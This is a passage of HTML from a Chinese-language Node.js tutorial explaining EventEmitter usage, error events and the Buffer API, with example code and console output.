class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">// 引入 events 模块</span><br><span class="line">var events = require('events');</span><br><span class="line">// 创建 eventEmitter 对象</span><br><span class="line">var eventEmitter = new events.EventEmitter();</span><br><span class="line"></span><br><span class="line">// 创建事件处理程序</span><br><span class="line">var connectHandler = function connected() {</span><br><span class="line"> console.log('连接成功。');</span><br><span class="line"> </span><br><span class="line"> // 触发 data_received 事件 </span><br><span class="line"> eventEmitter.emit('data_received');</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// 绑定 connection 事件处理程序</span><br><span class="line">eventEmitter.on('connection', connectHandler);</span><br><span class="line"> </span><br><span class="line">// 使用匿名函数绑定 data_received 事件</span><br><span class="line">eventEmitter.on('data_received', function(){</span><br><span class="line"> console.log('数据接收成功。');</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">// 触发 connection 事件 </span><br><span class="line">eventEmitter.emit('connection');</span><br><span class="line"></span><br><span class="line">console.log("程序执行完毕。");</span><br></pre></td></tr></table></figure><p>接下来让我们执行以上代码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br><span class="line">连接成功。</span><br><span class="line">数据接收成功。</span><br><span class="line">程序执行完毕。</span><br></pre></td></tr></table></figure><h2 id="Node-应用程序是如何工作的?"><a href="#Node-应用程序是如何工作的?" class="headerlink" title="Node 应用程序是如何工作的?"></a>Node 应用程序是如何工作的?</h2><p>在 Node 应用程序中,执行异步操作的函数将回调函数作为最后一个参数, 回调函数接收错误对象作为第一个参数。<br>接下来让我们来重新看下前面的实例,创建一个 input.txt ,文件内容如下:<br><code>菜鸟教程官网地址:www.runoob.com</code><br>创建 main.js 文件,代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line"></span><br><span class="line">fs.readFile('input.txt', function (err, data) {</span><br><span class="line"> if (err){</span><br><span class="line"> console.log(err.stack);</span><br><span class="line"> return;</span><br><span class="line"> }</span><br><span class="line"> console.log(data.toString());</span><br><span class="line">});</span><br><span class="line">console.log("程序执行完毕");</span><br></pre></td></tr></table></figure><p>以上程序中 fs.readFile() 是异步函数用于读取文件。 如果在读取文件过程中发生错误,错误 err 对象就会输出错误信息。<br>如果没发生错误,readFile 跳过 err 对象的输出,文件内容就通过回调函数输出。<br>执行以上代码,执行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">程序执行完毕</span><br><span class="line">菜鸟教程官网地址:www.runoob.com</span><br></pre></td></tr></table></figure><p>接下来我们删除 input.txt 文件,执行结果如下所示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">程序执行完毕</span><br><span class="line">Error: ENOENT, open 'input.txt'</span><br></pre></td></tr></table></figure><p>因为文件 input.txt 不存在,所以输出了错误信息。</p><hr><h1 id="Node-js-EventEmitter"><a href="#Node-js-EventEmitter" class="headerlink" title="Node.js EventEmitter"></a>Node.js EventEmitter</h1><p>Node.js 所有的异步 I/O 操作在完成时都会发送一个事件到事件队列。<br>Node.js 里面的许多对象都会分发事件:一个 net.Server 对象会在每次有新连接时触发一个事件, 一个 fs.readStream 对象会在文件被打开的时候触发一个事件。 所有这些产生事件的对象都是 events.EventEmitter 的实例。</p><h2 id="EventEmitter-类"><a href="#EventEmitter-类" class="headerlink" title="EventEmitter 类"></a>EventEmitter 类</h2><p>events 模块只提供了一个对象: events.EventEmitter。EventEmitter 的核心就是事件触发与事件监听器功能的封装。<br>你可以通过require(“events”);来访问该模块。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">// 引入 events 模块</span><br><span class="line">var events = require('events');</span><br><span class="line">// 创建 eventEmitter 对象</span><br><span class="line">var eventEmitter = new events.EventEmitter();</span><br></pre></td></tr></table></figure><p>EventEmitter 对象如果在实例化时发生错误,会触发 error 事件。当添加新的监听器时,newListener 事件会触发,当监听器被移除时,removeListener 事件被触发。<br>下面我们用一个简单的例子说明 EventEmitter 的用法:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">//event.js 文件</span><br><span class="line">var EventEmitter = require('events').EventEmitter; </span><br><span class="line">var event = new EventEmitter(); </span><br><span class="line">event.on('some_event', function() { </span><br><span class="line"> console.log('some_event 事件触发'); </span><br><span class="line">}); </span><br><span class="line">setTimeout(function() { </span><br><span class="line"> event.emit('some_event'); </span><br><span class="line">}, 1000);</span><br></pre></td></tr></table></figure><p>执行结果如下:<br>运行这段代码,1 秒后控制台输出了 <code>'some_event 事件触发'</code>。其原理是 event 对象注册了事件 some_event 的一个监听器,然后我们通过 setTimeout 在 1000 毫秒以后向 event 对象发送事件 some_event,此时会调用some_event 的监听器。<br>EventEmitter 的每个事件由一个事件名和若干个参数组成,事件名是一个字符串,通常表达一定的语义。对于每个事件,EventEmitter 支持 若干个事件监听器。<br>当事件触发时,注册到这个事件的事件监听器被依次调用,事件参数作为回调函数参数传递。<br>让我们以下面的例子解释这个过程:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">//event.js 文件</span><br><span class="line">var events = require('events'); </span><br><span class="line">var emitter = new events.EventEmitter(); </span><br><span class="line">emitter.on('someEvent', function(arg1, arg2) { </span><br><span class="line"> console.log('listener1', arg1, arg2); </span><br><span class="line">}); </span><br><span class="line">emitter.on('someEvent', function(arg1, arg2) { </span><br><span class="line"> console.log('listener2', arg1, arg2); </span><br><span class="line">}); </span><br><span class="line">emitter.emit('someEvent', 'arg1 参数', 'arg2 参数');</span><br></pre></td></tr></table></figure><p>执行以上代码,运行的结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ node event.js </span><br><span class="line">listener1 arg1 参数 arg2 参数</span><br><span class="line">listener2 arg1 参数 arg2 参数</span><br></pre></td></tr></table></figure><p>以上例子中,emitter 为事件 someEvent 注册了两个事件监听器,然后触发了 someEvent 事件。<br>运行结果中可以看到两个事件监听器回调函数被先后调用。 这就是EventEmitter最简单的用法。<br>EventEmitter 提供了多个属性,如 on 和 emit。on 函数用于绑定事件函数,emit 属性用于触发一个事件。接下来我们来具体看下 EventEmitter 的属性介绍。</p><h2 id="方法"><a href="#方法" class="headerlink" title="方法"></a>方法</h2><ul><li><h3 id="addListener-event-listener"><a href="#addListener-event-listener" class="headerlink" title="addListener(event, listener)"></a>addListener(event, listener)</h3>为指定事件添加一个监听器到监听器数组的尾部。</li><li><h3 id="on-event-listener"><a href="#on-event-listener" class="headerlink" title="on(event, listener)"></a>on(event, listener)</h3>为指定事件注册一个监听器,接受一个字符串 event 和一个回调函数。<br>两种方法没有区别<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">server.on('connection', function (stream) {</span><br><span class="line"> console.log('someone connected!');</span><br><span class="line">});</span><br></pre></td></tr></table></figure></li><li><h3 id="once-event-listener"><a href="#once-event-listener" class="headerlink" title="once(event, listener)"></a>once(event, listener)</h3>为指定事件注册一个单次监听器,即 监听器最多只会触发一次,触发后立刻解除该监听器。<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">server.once('connection', function (stream) {</span><br><span class="line"> console.log('Ah, we have our first user!');</span><br><span class="line">});</span><br></pre></td></tr></table></figure></li><li><h3 id="removeListener-event-listener"><a href="#removeListener-event-listener" class="headerlink" title="removeListener(event, listener)"></a>removeListener(event, listener)</h3>移除指定事件的某个监听器,监听器必须是该事件已经注册过的监听器。<br>它接受两个参数,第一个是事件名称,第二个是回调函数名称。<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">var callback = function(stream) {</span><br><span class="line"> console.log('someone connected!');</span><br><span class="line">};</span><br><span class="line">server.on('connection', callback);</span><br><span class="line">// ...</span><br><span class="line">server.removeListener('connection', callback);</span><br></pre></td></tr></table></figure></li><li><h3 id="removeAllListeners-event"><a href="#removeAllListeners-event" class="headerlink" title="removeAllListeners([event])"></a>removeAllListeners([event])</h3>移除所有事件的所有监听器, 如果指定事件,则移除指定事件的所有监听器。</li><li><h3 id="setMaxListeners-n"><a href="#setMaxListeners-n" class="headerlink" title="setMaxListeners(n)"></a>setMaxListeners(n)</h3>默认情况下, EventEmitters 如果你添加的监听器超过 10 个就会输出警告信息。 setMaxListeners 函数用于提高监听器的默认限制的数量。</li><li><h3 id="listeners-event"><a href="#listeners-event" class="headerlink" title="listeners(event)"></a>listeners(event)</h3>返回指定事件的监听器数组。</li><li><h3 id="emit-event-arg1-arg2-…"><a href="#emit-event-arg1-arg2-…" class="headerlink" title="emit(event, [arg1], [arg2], […])"></a>emit(event, [arg1], [arg2], […])</h3>按参数的顺序执行每个监听器,如果事件有注册监听返回 true,否则返回 false。</li></ul><h2 id="类方法"><a href="#类方法" class="headerlink" title="类方法"></a>类方法</h2><ul><li><h3 id="listenerCount-emitter-event"><a href="#listenerCount-emitter-event" class="headerlink" title="listenerCount(emitter, event)"></a>listenerCount(emitter, event)</h3>返回指定事件的监听器数量。<br><code>events.emitter.listenerCount(eventName)</code></li></ul><h2 id="事件"><a href="#事件" class="headerlink" title="事件"></a>事件</h2><ul><li><h3 id="newListener"><a href="#newListener" class="headerlink" title="newListener"></a>newListener</h3><ul><li>event - 字符串,事件名称</li><li>listener - 处理事件函数<br>该事件在添加新监听器时被触发。</li></ul></li><li><h3 id="removeListener"><a href="#removeListener" class="headerlink" title="removeListener"></a>removeListener</h3><ul><li>event - 字符串,事件名称</li><li>listener - 处理事件函数<br>从指定监听器数组中删除一个监听器。需要注意的是,此操作将会改变处于被删监听器之后的那些监听器的索引。</li></ul></li></ul><h2 id="实例-1"><a href="#实例-1" class="headerlink" title="实例"></a>实例</h2><p>以下实例通过 connection(连接)事件演示了 EventEmitter 类的应用。<br>创建 main.js 文件,代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">var events = require('events');</span><br><span class="line">var eventEmitter = new events.EventEmitter();</span><br><span class="line"></span><br><span class="line">// 监听器 #1</span><br><span class="line">var listener1 = function listener1() {</span><br><span class="line"> console.log('监听器 listener1 执行。');</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// 监听器 #2</span><br><span class="line">var listener2 = function listener2() {</span><br><span class="line"> console.log('监听器 listener2 执行。');</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// 绑定 connection 事件,处理函数为 listener1 </span><br><span class="line">eventEmitter.addListener('connection', listener1);</span><br><span class="line"></span><br><span class="line">// 绑定 connection 事件,处理函数为 listener2</span><br><span class="line">eventEmitter.on('connection', listener2);</span><br><span class="line"></span><br><span class="line">var eventListeners = eventEmitter.listenerCount('connection');</span><br><span class="line">console.log(eventListeners + " 个监听器监听连接事件。");</span><br><span class="line"></span><br><span class="line">// 处理 connection 事件 </span><br><span class="line">eventEmitter.emit('connection');</span><br><span class="line"></span><br><span class="line">// 移除监绑定的 listener1 函数</span><br><span class="line">eventEmitter.removeListener('connection', listener1);</span><br><span class="line">console.log("listener1 不再受监听。");</span><br><span class="line"></span><br><span class="line">// 触发连接事件</span><br><span class="line">eventEmitter.emit('connection');</span><br><span class="line"></span><br><span class="line">eventListeners = eventEmitter.listenerCount('connection');</span><br><span class="line">console.log(eventListeners + " 个监听器监听连接事件。");</span><br><span class="line"></span><br><span class="line">console.log("程序执行完毕。");</span><br></pre></td></tr></table></figure><p>以上代码,执行结果如下所示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br><span class="line">2 个监听器监听连接事件。</span><br><span class="line">监听器 listener1 执行。</span><br><span class="line">监听器 listener2 执行。</span><br><span class="line">listener1 不再受监听。</span><br><span class="line">监听器 listener2 执行。</span><br><span class="line">1 个监听器监听连接事件。</span><br><span class="line">程序执行完毕。</span><br></pre></td></tr></table></figure><h2 id="error-事件"><a href="#error-事件" class="headerlink" title="error 事件"></a>error 事件</h2><p>EventEmitter 定义了一个特殊的事件 error,它包含了错误的语义,我们在遇到 异常的时候通常会触发 error 事件。<br>当 error 被触发时,EventEmitter 规定如果没有响 应的监听器,Node.js 会把它当作异常,退出程序并输出错误信息。<br>我们一般要为会触发 error 事件的对象设置监听器,避免遇到错误后整个程序崩溃。例如:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">var events = require('events'); </span><br><span class="line">var emitter = new events.EventEmitter(); </span><br><span class="line">emitter.emit('error');</span><br></pre></td></tr></table></figure><p>运行时会显示以下错误:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">node.js:201 </span><br><span class="line">throw e; // process.nextTick error, or 'error' event on first tick </span><br><span class="line">^ </span><br><span class="line">Error: Uncaught, unspecified 'error' event. </span><br><span class="line">at EventEmitter.emit (events.js:50:15) </span><br><span class="line">at Object.<anonymous> (/home/byvoid/error.js:5:9) </span><br><span class="line">at Module._compile (module.js:441:26) </span><br><span class="line">at Object..js (module.js:459:10) </span><br><span class="line">at Module.load (module.js:348:31) </span><br><span class="line">at Function._load (module.js:308:12) </span><br><span class="line">at Array.0 (module.js:479:10) </span><br><span class="line">at EventEmitter._tickCallback (node.js:192:40)</span><br></pre></td></tr></table></figure><h2 id="继承-EventEmitter"><a href="#继承-EventEmitter" class="headerlink" title="继承 EventEmitter"></a>继承 EventEmitter</h2><p>大多数时候我们不会直接使用 EventEmitter,而是在对象中继承它。包括 fs、net、 http 在内的,只要是支持事件响应的核心模块都是 EventEmitter 的子类。<br>为什么要这样做呢?原因有两点:<br>首先,具有某个实体功能的对象实现事件符合语义, 事件的监听和发生应该是一个对象的方法。<br>其次 JavaScript 的对象机制是基于原型的,支持部分多重继承,继承 EventEmitter 不会打乱对象原有的继承关系。</p><hr><h1 id="Node-js-Buffer-缓冲区"><a href="#Node-js-Buffer-缓冲区" class="headerlink" title="Node.js Buffer(缓冲区)"></a>Node.js Buffer(缓冲区)</h1><p>JavaScript 语言自身只有字符串数据类型,没有二进制数据类型。<br>但在处理像TCP流或文件流时,必须使用到二进制数据。因此在 Node.js中,定义了一个 Buffer 类,该类用来创建一个专门存放二进制数据的缓存区。<br>在 Node.js 中,Buffer 类是随 Node 内核一起发布的核心库。Buffer 库为 Node.js 带来了一种存储原始数据的方法,可以让 Node.js 处理二进制数据,每当需要在 Node.js 中处理I/O操作中移动的数据时,就有可能使用 Buffer 库。原始数据存储在 Buffer 类的实例中。一个 Buffer 类似于一个整数数组,但它对应于 V8 堆内存之外的一块原始内存。</p><h2 id="Buffer-与字符编码"><a href="#Buffer-与字符编码" class="headerlink" title="Buffer 与字符编码"></a>Buffer 与字符编码</h2><p>Buffer 实例一般用于表示编码字符的序列,比如 UTF-8 、 UCS2 、 Base64 、或十六进制编码的数据。 通过使用显式的字符编码,就可以在 Buffer 实例与普通的 JavaScript 字符串之间进行相互转换</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">const buf = Buffer.from('runoob', 'ascii');</span><br><span class="line"></span><br><span class="line">// 输出 72756e6f6f62</span><br><span class="line">console.log(buf.toString('hex'));</span><br><span class="line"></span><br><span class="line">// 输出 cnVub29i</span><br><span class="line">console.log(buf.toString('base64'));</span><br></pre></td></tr></table></figure><p><strong>Node.js 目前支持的字符编码包括:</strong></p><ul><li>ascii - 仅支持 7 位 ASCII 数据。如果设置去掉高位的话,这种编码是非常快的。</li><li>utf8 - 多字节编码的 Unicode 字符。许多网页和其他文档格式都使用 UTF-8 。</li><li>utf16le - 2 或 4 个字节,小字节序编码的 Unicode 字符。支持代理对(U+10000 至 U+10FFFF)。</li><li>ucs2 - utf16le 的别名。</li><li>base64 - Base64 编码。</li><li>latin1 - 一种把 Buffer 编码成一字节编码的字符串的方式。</li><li>binary - latin1 的别名。</li><li>hex - 将每个字节编码为两个十六进制字符。</li></ul><h2 id="创建-Buffer-类"><a href="#创建-Buffer-类" class="headerlink" title="创建 Buffer 类"></a>创建 Buffer 类</h2><p>Buffer 提供了以下 API 来创建 Buffer 类:</p><ul><li><strong>Buffer.alloc(size[, fill[, encoding]]):</strong> 返回一个指定大小的 Buffer 实例,如果没有设置 fill,则默认填满 0<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">// 创建一个长度为 10、且用 0 填充的 Buffer。</span><br><span class="line">const buf1 = Buffer.alloc(10);</span><br><span class="line"></span><br><span class="line">// 创建一个长度为 10、且用 0x1 填充的 Buffer。 </span><br><span class="line">const buf2 = Buffer.alloc(10, 1);</span><br></pre></td></tr></table></figure></li><li><strong>Buffer.allocUnsafe(size):</strong> 返回一个指定大小的 Buffer 实例,但是它不会被初始化,所以它可能包含敏感的数据<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">// 创建一个长度为 10、且未初始化的 Buffer。</span><br><span class="line">// 这个方法比调用 Buffer.alloc() 更快,</span><br><span class="line">// 但返回的 Buffer 实例可能包含旧数据,</span><br><span class="line">// 因此需要使用 fill() 或 write() 重写。</span><br><span class="line">const buf3 = Buffer.allocUnsafe(10);</span><br></pre></td></tr></table></figure></li><li><strong>Buffer.allocUnsafeSlow(size)</strong> 返回一个指定大小没有初始化的 Buffer 实例,但是将直接申请内存</li><li><strong>Buffer.from(array):</strong> 返回一个被 array 的值初始化的新的 Buffer 实例(传入的 array 的元素只能是数字,不然就会自动被 0 覆盖)<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 创建一个包含 [0x1, 0x2, 0x3] 的 Buffer。</span><br><span class="line">const buf4 = Buffer.from([1, 2, 3]);</span><br></pre></td></tr></table></figure></li><li><strong>Buffer.from(arrayBuffer[, byteOffset[, length]]):</strong> 返回一个新建的与给定的 ArrayBuffer 共享同一内存的 Buffer。</li><li><strong>Buffer.from(buffer):</strong> 复制传入的 Buffer 实例的数据,并返回一个新的 Buffer 实例</li><li><strong>Buffer.from(string[, encoding]):</strong> 返回一个被 string 的值初始化的新的 Buffer 实例<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">// 创建一个包含 UTF-8 字节 [0x74, 0xc3, 0xa9, 0x73, 0x74] 的 Buffer。</span><br><span class="line">const buf5 = Buffer.from('tést');</span><br><span class="line"></span><br><span class="line">// 创建一个包含 Latin-1 字节 [0x74, 0xe9, 0x73, 0x74] 的 Buffer。</span><br><span class="line">const buf6 = Buffer.from('tést', 'latin1');</span><br></pre></td></tr></table></figure></li></ul><h2 id="写入缓冲区"><a href="#写入缓冲区" class="headerlink" title="写入缓冲区"></a>写入缓冲区</h2><ul><li>语法<br>写入 Node 缓冲区的语法如下所示:<br><code>buf.write(string[, offset[, length]][, encoding])</code></li><li>参数<br>参数描述如下:<ul><li>string - 写入缓冲区的字符串。</li><li>offset - 缓冲区开始写入的索引值,默认为 0 。</li><li>length - 写入的字节数,默认为 buffer.length</li><li>encoding - 使用的编码。默认为 ‘utf8’ 。<br>根据 encoding 的字符编码写入 string 到 buf 中的 offset 位置。 length 参数是写入的字节数。 如果 buf 没有足够的空间保存整个字符串,则只会写入 string 的一部分。 只部分解码的字符不会被写入。</li></ul></li><li>返回值<br>返回实际写入的大小。如果 buffer 空间不足, 则只会写入部分字符串。</li><li>实例<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">buf = Buffer.alloc(256);</span><br><span class="line">len = buf.write("www.runoob.com");</span><br><span class="line"></span><br><span class="line">console.log("写入字节数 : "+ len);</span><br></pre></td></tr></table></figure>执行以上代码,输出结果为:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$node main.js</span><br><span class="line">写入字节数 : 14</span><br></pre></td></tr></table></figure></li></ul><h2 id="从缓冲区读取数据"><a href="#从缓冲区读取数据" class="headerlink" title="从缓冲区读取数据"></a>从缓冲区读取数据</h2><ul><li>语法<br>读取 Node 缓冲区数据的语法如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">buf.toString([encoding[, start[, end]]])</span><br></pre></td></tr></table></figure></li><li>参数<ul><li>encoding - 使用的编码。默认为 ‘utf8’ 。</li><li>start - 指定开始读取的索引位置,默认为 0。</li><li>end - 结束位置,默认为缓冲区的末尾。</li></ul></li><li>返回值<br>解码缓冲区数据并使用指定的编码返回字符串。</li><li>实例<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">buf = Buffer.alloc(26);</span><br><span class="line">for (var i = 0 ; i < 26 ; i++) {</span><br><span class="line"> buf[i] = i + 97;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">console.log( buf.toString('ascii')); // 输出: abcdefghijklmnopqrstuvwxyz</span><br><span class="line">console.log( buf.toString('ascii',0,5)); // 输出: abcde</span><br><span class="line">console.log( buf.toString('utf8',0,5)); // 输出: abcde</span><br><span class="line">console.log( buf.toString(undefined,0,5)); // 使用 'utf8' 编码, 并输出: abcde</span><br></pre></td></tr></table></figure>执行以上代码,输出结果为:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br><span class="line">abcdefghijklmnopqrstuvwxyz</span><br><span class="line">abcde</span><br><span class="line">abcde</span><br><span class="line">abcde</span><br></pre></td></tr></table></figure></li></ul><h2 id="将-Buffer-转换为-JSON-对象"><a href="#将-Buffer-转换为-JSON-对象" class="headerlink" title="将 Buffer 转换为 JSON 对象"></a>将 Buffer 转换为 JSON 对象</h2><ul><li>语法<br>将 Node Buffer 转换为 JSON 对象的函数语法格式如下:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">buf.toJSON()</span><br></pre></td></tr></table></figure>当字符串化一个 Buffer 实例时,<code>JSON.stringify()</code> 会隐式地调用该 toJSON()。</li><li>返回值<br>返回 JSON 对象。</li><li>实例<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">const buf = Buffer.from([0x1, 0x2, 0x3, 0x4, 0x5]);</span><br><span class="line">const json = JSON.stringify(buf);</span><br><span class="line"></span><br><span class="line">// 输出: {"type":"Buffer","data":[1,2,3,4,5]}</span><br><span class="line">console.log(json);</span><br><span class="line"></span><br><span class="line">const copy = JSON.parse(json, (key, value) => {</span><br><span class="line"> return value && value.type === 'Buffer' ?</span><br><span class="line"> Buffer.from(value.data) :</span><br><span class="line"> value;</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">// 输出: <Buffer 01 02 03 04 05></span><br><span class="line">console.log(copy);</span><br></pre></td></tr></table></figure>执行以上代码,输出结果为:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{"type":"Buffer","data":[1,2,3,4,5]}</span><br><span class="line"><Buffer 01 02 03 04 05></span><br></pre></td></tr></table></figure></li></ul><h2 id="缓冲区合并"><a href="#缓冲区合并" class="headerlink" title="缓冲区合并"></a>缓冲区合并</h2><ul><li>语法<br>Node 缓冲区合并的语法如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Buffer.concat(list[, totalLength])</span><br></pre></td></tr></table></figure></li><li>参数<br>参数描述如下:<ul><li>list - 用于合并的 Buffer 对象数组列表。</li><li>totalLength - 指定合并后Buffer对象的总长度。</li></ul></li><li>返回值<br>返回一个多个成员合并的新 Buffer 对象。</li><li>实例<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">var buffer1 = Buffer.from(('菜鸟教程'));</span><br><span class="line">var buffer2 = Buffer.from(('www.runoob.com'));</span><br><span class="line">var buffer3 = Buffer.concat([buffer1,buffer2]);</span><br><span class="line">console.log("buffer3 内容: " + buffer3.toString());</span><br></pre></td></tr></table></figure>执行以上代码,输出结果为:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">buffer3 内容: 菜鸟教程www.runoob.com</span><br></pre></td></tr></table></figure></li></ul><h2 id="缓冲区比较"><a href="#缓冲区比较" class="headerlink" title="缓冲区比较"></a>缓冲区比较</h2><ul><li>语法<br>Node Buffer 比较的函数语法如下所示, 该方法在 Node.js v0.12.2 版本引入:<br>这个方法是按位比较的。buffer1 的第一位比较 buffer2 的第一位,相等的话比较第二位以此类推直到得出结果。<br>举例:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">var buffer1 = Buffer.from('ABCDEF99');</span><br><span class="line">var buffer2 = Buffer.from('ABCDEF98765');</span><br></pre></td></tr></table></figure>上面那个 buffer1 和 buffer2 比较的话,result 的结果是 1,前面的结果都是相等,直到比较 9>8 的时候出结果。按位逐一比较直到出结果。<br>那么说如果把 buffer1 设为 12313213121 这种纯数字呢,数字和字母比较的结果就是 -1。<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">buf.compare(otherBuffer);</span><br></pre></td></tr></table></figure></li><li>参数<br>参数描述如下:<ul><li>otherBuffer - 与 buf 对象比较的另外一个 Buffer 对象。</li></ul></li><li>返回值<br>返回一个数字,表示 buf 在 otherBuffer 之前,之后或相同。</li><li>实例<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 